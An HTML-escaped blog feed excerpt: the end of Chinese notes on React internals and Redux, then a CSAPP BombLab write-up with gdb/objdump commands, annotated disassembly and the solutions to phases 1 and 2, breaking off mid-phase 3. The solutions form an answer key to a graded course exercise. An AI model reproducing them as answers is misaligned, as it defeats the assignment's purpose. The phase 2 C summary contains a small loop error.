&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;,

    &lt;span style=&#34;color:#75715e&#34;&gt;// Record the component responsible for creating this element.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;_owner&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;owner&lt;/span&gt;,
  };

  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;__DEV__&lt;/span&gt;) {
    &lt;span style=&#34;color:#75715e&#34;&gt;// The validation flag is currently mutative. We put it on
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// an external backing store so that we can freeze the whole object.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// This can be replaced with a WeakMap once they are implemented in
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// commonly used development environments.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;_store&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {};

    &lt;span style=&#34;color:#75715e&#34;&gt;// To make comparing ReactElements easier for testing purposes, we make
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// the validation flag non-enumerable (where possible, which should
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// include every environment we run tests in), so the test framework
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// ignores it.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;defineProperty&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;_store&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;validated&amp;#39;&lt;/span&gt;, {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;configurable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;enumerable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;writable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
    });
    &lt;span style=&#34;color:#75715e&#34;&gt;// self and source are DEV only properties.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;defineProperty&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;_self&amp;#39;&lt;/span&gt;, {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;configurable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;enumerable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;writable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;self&lt;/span&gt;,
    });
    &lt;span style=&#34;color:#75715e&#34;&gt;// Two elements created in two different places should be considered
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// equal for testing purposes and therefore we hide it from enumeration.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;defineProperty&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;_source&amp;#39;&lt;/span&gt;, {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;configurable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;enumerable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;writable&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;source&lt;/span&gt;,
    });
    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;freeze&lt;/span&gt;) {
      Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;freeze&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;);
      Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;freeze&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;);
    }
  }

  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;;
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;为什么选择&lt;/strong&gt;JSX**？**&lt;/p&gt;
&lt;p&gt;JSX 语法糖允许前端开发者使用我们最为熟悉的类 HTML 标签语法来创建虚拟 DOM，在降低学习成本的同时，也提升了研发效率与研发体验&lt;/p&gt;
&lt;h3 id=&#34;react高性能体现虚拟dom&#34;&gt;React高性能体现：虚拟DOM&lt;/h3&gt;
&lt;p&gt;（参考资料：https://www.bilibili.com/video/BV19p4y1z7LK?p=9&amp;amp;spm_id_from=pageDriver）&lt;/p&gt;
&lt;p&gt;Web开发需要将变化的数据实时反映到UI上，需要我们频繁地操作DOM，这就是性能瓶颈的原因（如何进行高性能的复杂DOM操作？）&lt;/p&gt;
&lt;p&gt;React：引入Virtual DOM。在浏览器端用Javascript实现了一套DOM API。基于react开发的所有DOM构造都通过虚拟DOM进行。&lt;/p&gt;
&lt;p&gt;当数据变化 ，react重构DOM树，将当前树和上一次树进行对比，得到DOM的区别，仅仅更新变化的部分。&lt;/p&gt;
&lt;p&gt;**（精髓）**存在一个Event loop，在一个loop中两次数据变化会被合并，A-&amp;gt;B-&amp;gt;A在一个loop中发生，UI不发生任何变化。react认为不变，所以不会更新到B，再更新到A。&lt;/p&gt;
&lt;h3 id=&#34;频繁更新虚拟dom性能不会差&#34;&gt;频繁更新虚拟DOM，性能不会差？&lt;/h3&gt;
&lt;p&gt;虚拟DOM是内存数据，性能高，对实际DOM进行操作的仅仅是Diff部分。&lt;/p&gt;
&lt;h3 id=&#34;react-fiber&#34;&gt;React Fiber&lt;/h3&gt;
&lt;p&gt;不是上面的Event Loop。&lt;/p&gt;
&lt;p&gt;是React 16之后发布的一种核心算法。官网：是对核心算法的重新实现。之前用的是diff算法。&lt;/p&gt;
&lt;p&gt;为了解决的问题：之前的react，更新过程是同步的，可能导致性能问题。&lt;/p&gt;
&lt;p&gt;React决定加载或更新组件时，会干很多事，比如：调用各个组件生命周期，计算比较虚拟DOM树，更新DOM树。这个过程是同步进行的，一次加载/更新开始，中间不会中断。因为JS是单线程，组件树很大时，每个同步任务耗时太长，出现加载卡顿。&lt;/p&gt;
&lt;p&gt;React Fiber：分片。把耗时的任务分成若干片。每一片运行时间很短。每一小片执行完成之后，都会给其他任务机会去执行，从而避免进程被独占。（很像CPU的时间片，把cpu资源类比于js单线程，把线程类比于react中的很多任务）&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/18/17B5gzvhRULWYMS.png&#34; alt=&#34;image-20211118172121553&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;生命周期&#34;&gt;生命周期&lt;/h3&gt;
&lt;p&gt;16.3之前&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/19/kOj5QVMqvcymgBw.png&#34; alt=&#34;image-20211119103202357&#34;&gt;&lt;/p&gt;
&lt;p&gt;现在的生命周期：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/19/cFoTbreuEh1Cq9V.png&#34; alt=&#34;image-20211119113223593&#34;&gt;&lt;/p&gt;
&lt;p&gt;getDrivedStateFromProps(): 根据props生成state&lt;/p&gt;
&lt;p&gt;官网不推荐使用，容易写出bug&lt;/p&gt;
&lt;h3 id=&#34;redux&#34;&gt;Redux&lt;/h3&gt;
&lt;p&gt;Flux: Redux鼻祖&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/qTEJ4eQn6rGcFS8.png&#34; alt=&#34;image-20211120191207422&#34;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;View:视图层&lt;/li&gt;
&lt;li&gt;ActionCreator ：视图层发出的消息&lt;/li&gt;
&lt;li&gt;Dispatcher: 用来接受Action，执行回调函数&lt;/li&gt;
&lt;li&gt;Store(数据层)：用来存放应用的状态，一旦发生变动，提醒Views更新界面&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是Flux实现太复杂&lt;/p&gt;
&lt;h4 id=&#34;需要redux的项目&#34;&gt;需要Redux的项目&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;用户使用的方式复杂&lt;/li&gt;
&lt;li&gt;不同身份用户有不同的使用方式&lt;/li&gt;
&lt;li&gt;多个用户之间可以协作&lt;/li&gt;
&lt;li&gt;与服务端大量交互，或者使用了websocket&lt;/li&gt;
&lt;li&gt;View需要从多个来源获取数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从组件层面考虑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某个组件的状态需要共享&lt;/li&gt;
&lt;li&gt;某个状态在任何地方都可拿到&lt;/li&gt;
&lt;li&gt;一个组件需要改变全局状态&lt;/li&gt;
&lt;li&gt;一个组件需要改变另一个组件的状态&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;设计思想：&lt;/p&gt;
&lt;p&gt;1、Web应用是一个状态机，数据和视图一一对应&lt;/p&gt;
&lt;p&gt;2、全局状态保存在一个对象中&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CSAPP_BombLab</title>
      <link>https://weivwang.github.io/studynotes/csapp_bomblab/</link>
      <pubDate>Mon, 01 Nov 2021 22:18:42 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/csapp_bomblab/</guid>
      <description>&lt;h1 id=&#34;csapp-bomblab&#34;&gt;CSAPP BombLab&lt;/h1&gt;
&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;大三上的《系统级程序设计》使用了CMU的经典教材CSAPP（Computer System: A Programmer&amp;rsquo;s Perspective），其实对这门课早有耳闻，是CMU的神课。正好大三上学期学校安排了这门课，而且是大三上学期唯一一门专业必修课，也让人很期待。&lt;/p&gt;
&lt;p&gt;这门课，确实是很有质量的课。原因如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上课用的是CMU原版全英文的PPT，增加对一些常见的计算机组成的英文词汇的了解。&lt;/li&gt;
&lt;li&gt;设置了助教，并且会让助教在课上演示实际代码的运行情况（很多专业课都没有）&lt;/li&gt;
&lt;li&gt;老师讲的很好，能够看出来对这门课的教学经验很足&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BombLab是设置的第一次实验，助教课上演示了第一关的过关方法，并提醒我们一些注意事项：每个人下载的代码都不一样等等&lt;/p&gt;
&lt;h2 id=&#34;实验记录&#34;&gt;实验记录&lt;/h2&gt;
&lt;p&gt;软件包构成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;bomb（可执行文件）&lt;/li&gt;
&lt;li&gt;bomb.c&lt;/li&gt;
&lt;li&gt;Readme（记录学号和编号）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前置知识：&lt;/p&gt;
&lt;p&gt;X86-64有16个64位寄存器，每一个的用途：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/01/8lFpHKwER9AfOGN.png&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/01/74hRjgZa3Ke1muF.png&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;X86-64的栈帧结构：https://www.jianshu.com/p/997dddb3122c&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://zhuanlan.zhihu.com/p/27339191&#34;&gt;https://zhuanlan.zhihu.com/p/27339191&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;objdump：objdump命令是Linux下的反汇编目标文件或者可执行文件的命令，它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。&lt;/p&gt;
&lt;p&gt;GDB ：gdb是GNU开源组织发布的一个强大的Linux下的程序调试工具。&lt;/p&gt;
&lt;p&gt;gdb_quickreference:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/01/mbioHa6OI4xtDkB.png&#34; alt=&#34;image-20211101135039742&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/01/Y2de9IaKZFJorzX.png&#34; alt=&#34;image-20211101135134390&#34;&gt;&lt;/p&gt;
&lt;p&gt;由于我使用的是macOS，又不希望安装庞大的虚拟机软件占用空间，因此选择使用docker配置环境，建立了一个ubuntu的容器。&lt;/p&gt;
&lt;p&gt;使用docker cp 命令将文件夹copy到容器下，安装gcc，gdb，objdump，vim&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;apt update //升级apt
apt install build-essential
apt install binutils
apt install vim
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拆弹思路：&lt;/p&gt;
&lt;p&gt;因为每一关都是输入一段正确的字符串通关。阅读bomb.c文件，可以发现每一关都是一个函数phase_x()，却没有提供函数体，因此，需要对可执行文件进行反汇编，阅读汇编代码，找到输入的参数，再分析如何避免引爆炸弹。（其实使用IDA反编译可以直接看到源码，但是这样达不到效果，因为这个实验就是锻炼阅读汇编代码的能力，但其实不会的部分还是参考了IDA的反编译代码，后面几关，尤其是最后一关还挺难理解的）&lt;/p&gt;
&lt;h3 id=&#34;phase_1&#34;&gt;phase_1&lt;/h3&gt;
&lt;p&gt;使用objdump命令，将bomb可执行程序反汇编，保存到bomb.txt文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;objdump -d bomb &amp;gt; bomb.txt
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;gdb -q bomb //进入调试
disas phase_1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;显示结果及分析如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;Dump of assembler code for function phase_1:
   0x0000558037001204 &amp;lt;+0&amp;gt;:	sub    $0x8,%rsp  #开栈
   0x0000558037001208 &amp;lt;+4&amp;gt;:	lea    0x17c1(%rip),%rsi        # 0x5580370029d0 #rsi = rip + 0x17c1，rdi为第一个参数,rsi为第二个参数。接着调用string_not_equal函数，可以大胆猜测这里的rsi存放的地址就是标准答案的字符串的地址
   0x000055803700120f &amp;lt;+11&amp;gt;:	callq  0x558037001706 &amp;lt;strings_not_equal&amp;gt; #调用string_not_equal函数
   0x0000558037001214 &amp;lt;+16&amp;gt;:	test   %eax,%eax #eax为string_not_eaual的返回值，为0或1，与运算后设置标志位也为0或1
   0x0000558037001216 &amp;lt;+18&amp;gt;:	jne    0x55803700121d &amp;lt;phase_1+25&amp;gt; #，跟据标志位跳转，两字符串不相等就跳转到explode_bomb
   0x0000558037001218 &amp;lt;+20&amp;gt;:	add    $0x8,%rsp
   0x000055803700121c &amp;lt;+24&amp;gt;:	retq   
   0x000055803700121d &amp;lt;+25&amp;gt;:	callq  0x558037001996 &amp;lt;explode_bomb&amp;gt;
   0x0000558037001222 &amp;lt;+30&amp;gt;:	jmp    0x558037001218 &amp;lt;phase_1+20&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在0x000055803700120f打断点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b *0x000055803700120f
c //继续运行
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在0x0000558037001208指令执行完后，查看所有寄存器内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; info all-registers
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以找到rsi寄存器存放的地址为：0x5580370029d0&lt;/p&gt;
&lt;p&gt;rsi存放的地址也可以看到&lt;/p&gt;
&lt;p&gt;查看该地址存放的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x/s 0x5580370029d0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x5580370029d0:	&amp;quot;I am just a renegade hockey mom.&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./bomb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;输入上面的字符串，显示进入下一关：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
I am just a renegade hockey mom.
Phase 1 defused. How about the next one?
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们也可以看rdi的值是不是输入的字符串&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;(gdb) x/s 0x560d15a046c0
0x560d15a046c0 &amp;lt;input_strings&amp;gt;:	&amp;quot;test&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以看到rdi存放的值确实是我测试输入的字符串test&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;小插曲：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	执行./bomb时，电脑网恰好断了，程序运行不了，提示如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ./bomb 

Initialization error:

Error: DNS is unable to resolve server address
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;说明程序是联网的，果然会记录你每一关爆炸的次数（CMU原版的是这样说的，武大的版本是把爆炸次数发给课程的服务器）&lt;/p&gt;
&lt;h3 id=&#34;phase_2&#34;&gt;phase_2&lt;/h3&gt;
&lt;p&gt;采用同样的方法：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;0000000000001224 &amp;lt;phase_2&amp;gt;:
    1224:	55                   	push   %rbp
    1225:	53                   	push   %rbx
    1226:	48 83 ec 28          	sub    $0x28,%rsp #开栈
    122a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax # rax = 0x28
    1231:	00 00 
    1233:	48 89 44 24 18       	mov    %rax,0x18(%rsp)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ) #这里就说明了有6个参数0x18 = 24 = 4 * 6，int32是4个字节，总共有6个
    1238:	31 c0                	xor    %eax,%eax
    123a:	48 89 e6             	mov    %rsp,%rsi #rsi = rsp
    123d:	e8 90 07 00 00       	callq  19d2 &amp;lt;read_six_numbers&amp;gt; #可以看出是输入6个数字
    1242:	83 3c 24 00          	cmpl   $0x0,(%rsp) # rsp - 0，rsp此时指向第一个参数
    1246:	78 0a                	js     1252 &amp;lt;phase_2+0x2e&amp;gt; #js:结果为负则转移，1252就是explode_bomb，说明rsp - 0 &amp;gt;= 0不会爆炸，即rsp &amp;gt;= 0,第一个参数要非负
    1248:	bb 01 00 00 00       	mov    $0x1,%ebx #ebx = 0x1
    124d:	48 89 e5             	mov    %rsp,%rbp #rbp指向第一个参数
    1250:	eb 11                	jmp    1263 &amp;lt;phase_2+0x3f&amp;gt;
    1252:	e8 3f 07 00 00       	callq  1996 &amp;lt;explode_bomb&amp;gt;
    1257:	eb ef                	jmp    1248 &amp;lt;phase_2+0x24&amp;gt;
    1259:	48 83 c3 01          	add    $0x1,%rbx  # rbx = rbx + 0x1 = 0x2
    125d:	48 83 fb 06          	cmp    $0x6,%rbx  #rbx 与0x6比较
    1261:	74 13                	je     1276 &amp;lt;phase_2+0x52&amp;gt; #相等则跳转
    1263:	89 d8                	mov    %ebx,%eax #从1250跳转过来，第一次,eax = ebx = 0x1
    1265:	03 44 9d fc          	add    -0x4(%rbp,%rbx,4),%eax  #eax =eax + %rbp + 4%rbx -0x4 = eax, rbx在循环中为1,2,3...所以每次等于数组中的上一个元素，即eax = eax + a[i-1]
    1269:	39 44 9d 00          	cmp    %eax,0x0(%rbp,%rbx,4) #将eax与a[i] 比较，如果a[i] != eax，爆炸
    126d:	74 ea                	je     1259 &amp;lt;phase_2+0x35&amp;gt;
    126f:	e8 22 07 00 00       	callq  1996 &amp;lt;explode_bomb&amp;gt;
    1274:	eb e3                	jmp    1259 &amp;lt;phase_2+0x35&amp;gt;
    1276:	48 8b 44 24 18       	mov    0x18(%rsp),%rax #从1261跳转过来, rax=rsp + 0x18
    127b:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax 
    1282:	00 00 
    1284:	75 07                	jne    128d &amp;lt;phase_2+0x69&amp;gt;
    1286:	48 83 c4 28          	add    $0x28,%rsp
    128a:	5b                   	pop    %rbx
    128b:	5d                   	pop    %rbp
    128c:	c3                   	retq   
    128d:	e8 be fb ff ff       	callq  e50 &amp;lt;__stack_chk_fail@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;所以输入的6个数满足如下关系：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(a[0] &amp;lt; 0) bomb();
b = 1;
i = 1;
while(b != 6){
	a[i] = a[i-1] + b;
	b++;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以列举出来一个符合条件的数组如：[0, 1, 3, 6, 10, 15]&lt;/p&gt;
&lt;p&gt;输入：0 1 3 6 10 15&lt;/p&gt;
&lt;p&gt;程序输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;That&#39;s number 2.  Keep going!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;第二关顺利通过&lt;/p&gt;
&lt;h3 id=&#34;phase_3&#34;&gt;phase_3&lt;/h3&gt;
&lt;p&gt;汇编代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;0000000000001292 &amp;lt;phase_3&amp;gt;:
    1292:       48 83 ec 18             sub    $0x18,%rsp #开栈
    1296:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax 
    129d:       00 00
    129f:       48 89 44 24 08          mov    %rax,0x8(%rsp) 
    12a4:       31 c0                   xor    %eax,%eax 
    12a6:       48 8d 4c 24 04          lea    0x4(%rsp),%rcx 
    12ab:       48 89 e2                mov    %rsp,%rdx
    12ae:       48 8d 35 a8 19 00 00    lea    0x19a8(%rip),%rsi        # 2c5d &amp;lt;array.3415+0x21d&amp;gt; #输入参数
    12b5:       e8 36 fc ff ff          callq  ef0 &amp;lt;__isoc99_sscanf@plt&amp;gt; #输入
    12ba:       83 f8 01                cmp    $0x1,%eax #输入参数的个数 &amp;lt;= 1，jle跳转到引爆炸弹
    12bd:       7e 1d                   jle    12dc &amp;lt;phase_3+0x4a&amp;gt;
    12bf:       83 3c 24 07             cmpl   $0x7,(%rsp)
    12c3:       0f 87 99 00 00 00       ja     1362 &amp;lt;phase_3+0xd0&amp;gt;
    12c9:       8b 04 24                mov    (%rsp),%eax
    12cc:       48 8d 15 4d 17 00 00    lea    0x174d(%rip),%rdx        # 2a20 &amp;lt;_IO_stdin_used+0x1a0&amp;gt;
    12d3:       48 63 04 82             movslq (%rdx,%rax,4),%rax
    12d7:       48 01 d0                add    %rdx,%rax 
    12da:       ff e0                   jmpq   *%rax #根据rax的值在跳转表中跳转
    12dc:       e8 b5 06 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    12e1:       eb dc                   jmp    12bf &amp;lt;phase_3+0x2d&amp;gt; 
    12e3:       b8 b3 00 00 00          mov    $0xb3,%eax #case0： eax = 179
    12e8:       eb 05                   jmp    12ef &amp;lt;phase_3+0x5d&amp;gt;
    12ea:       b8 00 00 00 00          mov    $0x0,%eax
    12ef:       2d 05 03 00 00          sub    $0x305,%eax #-773，
    12f4:       05 57 02 00 00          add    $0x257,%eax #+599
    12f9:       2d 88 01 00 00          sub    $0x188,%eax #-392
    12fe:       05 88 01 00 00          add    $0x188,%eax #+392
    1303:       2d 88 01 00 00          sub    $0x188,%eax #-392
    1308:       05 88 01 00 00          add    $0x188,%eax #+392
    130d:       2d 88 01 00 00          sub    $0x188,%eax #-392
    1312:       83 3c 24 05             cmpl   $0x5,(%rsp) #第一个参数 &amp;gt; 5，炸
    1316:       7f 06                   jg     131e &amp;lt;phase_3+0x8c&amp;gt;
    1318:       39 44 24 04             cmp    %eax,0x4(%rsp) #第二个参数 != 经过处理完的数，炸
    131c:       74 05                   je     1323 &amp;lt;phase_3+0x91&amp;gt;
    131e:       e8 73 06 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    1323:       48 8b 44 24 08          mov    0x8(%rsp),%rax
    1328:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
    132f:       00 00
    1331:       75 3b                   jne    136e &amp;lt;phase_3+0xdc&amp;gt;
    1333:       48 83 c4 18             add    $0x18,%rsp
    1337:       c3                      retq
    1338:       b8 00 00 00 00          mov    $0x0,%eax #case 1
    133d:       eb b5                   jmp    12f4 &amp;lt;phase_3+0x62&amp;gt;
    133f:       b8 00 00 00 00          mov    $0x0,%eax #case 2
		1344:       eb b3                   jmp    12f9 &amp;lt;phase_3+0x67&amp;gt;
    1346:       b8 00 00 00 00          mov    $0x0,%eax #case 3
    134b:       eb b1                   jmp    12fe &amp;lt;phase_3+0x6c&amp;gt;
    134d:       b8 00 00 00 00          mov    $0x0,%eax #case 4
    1352:       eb af                   jmp    1303 &amp;lt;phase_3+0x71&amp;gt;
    1354:       b8 00 00 00 00          mov    $0x0,%eax #case 5
    1359:       eb ad                   jmp    1308 &amp;lt;phase_3+0x76&amp;gt;
    135b:       b8 00 00 00 00          mov    $0x0,%eax #case 6
    1360:       eb ab                   jmp    130d &amp;lt;phase_3+0x7b&amp;gt;
